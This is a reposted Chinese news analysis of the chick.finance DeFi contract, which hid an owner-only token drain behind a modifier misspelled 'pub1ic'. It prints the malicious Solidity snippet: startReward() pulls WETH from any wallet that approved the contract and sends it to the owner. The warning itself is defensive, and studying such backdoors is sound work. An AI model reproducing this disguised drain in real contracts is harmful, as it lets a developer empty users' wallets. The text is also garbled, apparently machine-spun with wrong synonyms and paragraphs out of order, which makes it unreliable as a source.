http://www.7klian.com

chick.finance是怎么通过恶意合约代码「偷」走代币的?

原文来历:比特派

就在方才,YFII 传递了 chick.finance 合约代码的风险,不外个中提到的「用户充值的所有代币,开拓者都有权限提取」这句话其实并不是完全精确的,因此在这里我们需要给各人做下更具体的描写:

相关阅读:《告诫:活动性挖矿项目 chick.finance 合约存在致命风险,请不要参加》

我们之前在向全行业提出「滥用合约授权」问题的时候,,就曾估量到大概会有开拓者作恶的环境呈现,没想到这一天来的这么快,这次代码伪装的较量蠢,那下次呢?下次 DeFi 矿工们是否还能躲得已往了呢?

这其实是 DeFi 生态里很是严重的恶性事件,理应引起全行业的重视,因为这次大概恶意开拓者只是用拼写错误的方法来试图蒙骗各人(把 public 写成 pub1ic),然后很幸运的第一时间被发明白,那下次呢?是不是可以写出逻辑巨大而且很难被看出来的裂痕,悄悄的期待上线把列位的钱包一扫而空呢?要再次强调的是,这个例子中,您损失的可不只仅是您存入合约的资产,而是你钱包里的全部资产,大白了吗?

上述代码的逻辑很简朴,干的就是那些给这个合约授权了的用户,合约 Owner 都能把你的代币转给 Owner,就这么简朴。

媒介:8月24日,YFII 社区焦点开拓者在审计 Vault 机枪池备选项目 click.finance 合约时发明,即将上线的活动性挖矿项目 chick.finance 的合约代码与 GitHub 平台展示的差异,modifer 被恶意修改为「pub1ic」,这导致该项目存在资金危险。

原文地点

modifier pub1ic() {        require(isOwner(), “Ownable: caller is not the owner”);        _;    }

恶意代码是如下这段:function startReward(address _from, uint256 amount) external pub1ic{        weth.safeTransferFrom(_from, owner(), amount);    }

开拓者对存心拼写错误的 pub1ic 做了如下约束(也就是只有合约 Owner 才气挪用,假如没这个挪用,那就酿成谁都醒目这事儿了,开拓者想的是本身偷,必定不想让别人偷)

原文标题:《关于 DeFi 活动性挖矿项目 chick.finance 恶意合约代码的具体阐明》

该合约恶意代码的问题并不在于「开拓者事发后能提取用户存在合约中的代币」(开拓者原来就醒目这事儿),而在于对付任何给该合约授权了的用户,开拓者都能把你钱包里的代币一扫而空(不只仅是你存入合约的),这正是比特派安详尝试室在之前的那篇《 Defi 生态当前最大的安详隐患》一文中提到的「滥用合约授权问题」。

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。

相关文章阅读